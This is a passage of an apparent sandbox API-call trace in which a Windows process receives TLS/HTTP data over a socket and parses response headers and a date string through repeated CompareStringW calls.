lpBuffer="C:\\usr\\local\\ssl\\certs\\bd1c2838.0", lpFilePart=0x18f4ec*="bd1c2838.0") returned 0x21 [0119.120] GetLastError () returned 0x3 [0119.120] WSASetLastError (iError=0) [0119.120] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.120] SetLastError (dwErrCode=0x0) [0119.120] WSASetLastError (iError=0) [0119.120] recv (in: s=0x12c, buf=0x2d51900, len=147, flags=0 | out: buf=0x2d51900*) returned 147 [0119.122] WSASetLastError (iError=0) [0119.122] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.122] SetLastError (dwErrCode=0x0) [0119.122] WSASetLastError (iError=0) [0119.122] recv (in: s=0x12c, buf=0x2d51900, len=4, flags=0 | out: buf=0x2d51900*) returned 4 [0119.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f620 | out: lpSystemTimeAsFileTime=0x18f620*(dwLowDateTime=0x97e8ed40, dwHighDateTime=0x1d60051)) [0119.126] WSASetLastError (iError=0) [0119.126] send (s=0x12c, buf=0x2d571e8*, len=126, flags=0) returned 126 [0119.127] SetLastError (dwErrCode=0x0) [0119.127] WSASetLastError (iError=0) [0119.127] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.143] SetLastError (dwErrCode=0x0) [0119.144] WSASetLastError (iError=0) [0119.144] recv (in: s=0x12c, buf=0x2d51900, len=186, flags=0 | out: buf=0x2d51900*) returned 186 [0119.144] WSASetLastError (iError=0) [0119.144] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.144] SetLastError (dwErrCode=0x0) [0119.144] WSASetLastError (iError=0) [0119.144] recv (in: s=0x12c, buf=0x2d51900, len=1, flags=0 | out: buf=0x2d51900*) returned 1 [0119.144] WSASetLastError (iError=0) [0119.144] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.144] SetLastError (dwErrCode=0x0) [0119.144] WSASetLastError (iError=0) [0119.144] recv (in: s=0x12c, buf=0x2d51900, len=40, flags=0 | out: buf=0x2d51900*) returned 40 [0119.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="Accept", cchCount2=6) returned 3 [0119.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="User-Agent", cchCount2=10) returned 1 [0119.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Accept", cchCount1=6, lpString2="User-Agent", cchCount2=10) returned 1 [0119.145] WSASetLastError (iError=0) [0119.145] send (s=0x12c, buf=0x2d409d3*, len=228, flags=0) returned 228 [0119.145] GetTickCount64 () returned 0x115082c [0119.145] select (in: nfds=0, readfds=0x18f9f4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f9f4, writefds=0x0, exceptfds=0x0) returned 1 [0119.177] SetLastError (dwErrCode=0x0) [0119.177] SetLastError (dwErrCode=0x0) [0119.177] WSASetLastError (iError=0) [0119.177] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.177] SetLastError (dwErrCode=0x0) [0119.177] WSASetLastError (iError=0) [0119.177] recv (in: s=0x12c, buf=0x2d51900, len=625, flags=0 | out: buf=0x2d51900*) returned 625 [0119.177] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.0", cchCount1=3, lpString2="1.1", cchCount2=3) returned 1 [0119.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.1", cchCount1=3, lpString2="1.1", cchCount2=3) returned 2 [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] GetTickCount64 () returned 0x115084b [0119.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0119.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Cache-control", cchCount2=13) returned 3 [0119.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Cache-control", cchCount2=13) returned 3 [0119.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0119.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0119.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0119.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Cache-control", cchCount2=13) returned 1 [0119.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Cache-control", cchCount2=13) returned 2 [0119.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Connection", cchCount2=10) returned 3 [0119.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Connection", cchCount2=10) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Connection", cchCount2=10) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Connection", cchCount2=10) returned 2 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Version", cchCount2=15) returned 1 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Version", cchCount2=15) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 1 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Version", cchCount2=15) returned 1 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Version", cchCount2=15) returned 1 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Version", cchCount2=15) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Version", cchCount2=15) returned 1 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Version", cchCount2=15) returned 1 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Version", cchCount2=15) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 1 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.179] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0119.180] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Language", cchCount2=16) returned 3 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Language", cchCount2=16) returned 3 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 1 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 3 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Language", cchCount2=16) returned 1 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Language", cchCount2=16) returned 1 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Language", cchCount2=16) returned 3 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Language", cchCount2=16) returned 1 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Language", cchCount2=16) returned 1 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Language", cchCount2=16) returned 3 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 3 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 1 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Type", cchCount2=12) returned 3 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Type", cchCount2=12) returned 2 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UTF-8", cchCount1=1, lpString2="\"", cchCount2=1) returned 3 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="charset=UTF-8", cchCount1=7, lpString2="charset", cchCount2=7) returned 2 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Length", cchCount2=14) returned 3 [0119.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Length", cchCount2=14) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 1 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Length", cchCount2=14) returned 1 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Length", cchCount2=14) returned 1 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Length", cchCount2=14) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Length", cchCount2=14) returned 1 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Length", cchCount2=14) returned 1 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Length", cchCount2=14) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 1 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Range", cchCount2=13) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Range", cchCount2=13) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 1 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Range", cchCount2=13) returned 1 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Range", cchCount2=13) returned 1 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Range", cchCount2=13) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Range", cchCount2=13) returned 1 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Range", cchCount2=13) returned 1 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Range", cchCount2=13) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 3 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 1 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Date", cchCount2=4) returned 2 [0119.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sun", cchCount1=3, lpString2="SUN", cchCount2=3) returned 2 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JAN", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FEB", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAR", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="APR", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAY", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUN", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUL", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AUG", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEP", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OCT", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NOV", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEC", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUNE", cchCount2=4) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JULY", cchCount2=4) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRZ", cchCount2=3) returned 1 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEZ", cchCount2=3) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="ENO", cchCount2=3) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FBRO", cchCount2=4) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MZO", cchCount2=3) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AB", cchCount2=2) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AGTO", cchCount2=4) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SBRE", cchCount2=4) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OBRE", cchCount2=4) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NBRE", cchCount2=4) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DBRE", cchCount2=4) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRT", cchCount2=3) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MEI", cchCount2=3) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0119.184] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JANV", cchCount2=4) returned 1 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉV", cchCount2=3) returned 1 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MARS", cchCount2=4) returned 1 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVR", cchCount2=3) returned 1 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIN", cchCount2=4) returned 1 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIL", cchCount2=4) returned 1 [0119.185] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛ", cchCount2=3) returned 1 [0119.185] CompareStringW (Locale=0x400, 